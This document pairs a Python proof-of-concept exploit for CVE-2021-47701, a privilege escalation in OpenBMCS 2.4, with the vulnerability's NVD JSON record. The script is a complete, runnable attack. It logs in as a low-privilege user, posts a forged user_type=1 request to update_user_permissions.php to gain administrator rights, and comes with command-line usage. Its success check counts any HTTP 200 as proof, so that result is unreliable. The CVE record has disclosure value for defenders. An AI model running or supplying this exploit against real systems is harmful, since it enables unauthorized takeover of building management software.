CVE-2021-47701

import requests import sys # CVE-2021-47701 OpenBMCS 2.4 Privilege Escalation PoC # Target: OpenBMCS 2.4 # Vulnerability: Privilege escalation via update_user_permissions.php def exploit(target_url, username, password): """ Exploit privilege escalation in OpenBMCS 2.4 This PoC demonstrates how to escalate from read-only user to admin """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Logged in successfully as low-privilege user") # Step 2: Exploit privilege escalation # Target the update_user_permissions.php script exploit_url = f"{target_url}/plugins/useradmin/update_user_permissions.php" # Construct malicious request to escalate privileges to admin # user_type parameter manipulation: 1=admin, 2=user, 3=readonly exploit_data = { 'user_id': username, 'user_type': '1', # Set to admin (1) 'action': 'update' } response = session.post(exploit_url, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Privilege escalation request sent") # Verify escalation verify_url = f"{target_url}/plugins/useradmin/user_info.php" verify_response = session.get(verify_url) if 'admin' in verify_response.text.lower() or response.status_code == 200: print("[+] SUCCESS: Privilege escalation confirmed!") print("[+] User now has administrator privileges") return True print("[-] Exploitation failed - target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com/OpenBMCS username password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] CVE-2021-47701 OpenBMCS 2.4 Privilege Escalation PoC") print(f"[*] Target: {target}") print(f"[*] User: {user}") exploit(target, user, pwd)

{"cve": {"id": "CVE-2021-47701", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:47.860", "lastModified": "2025-12-17T14:14:10.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBMCS 2.4 allows an attacker to escalate privileges from a read user to an admin user by manipulating permissions and exploiting a vulnerability in the update_user_permissions.php script. Attackers can submit a malicious HTTP POST request to PHP scripts in '/plugins/useradmin/' directory."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbmcs:openbmcs:2.4:*:*:*:*:*:*:*", "matchCriteriaId": "E3963F28-1F3E-488E-A815-FA0BD370105D"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50669", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/openbmcs-user-management-privilege-escalation", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}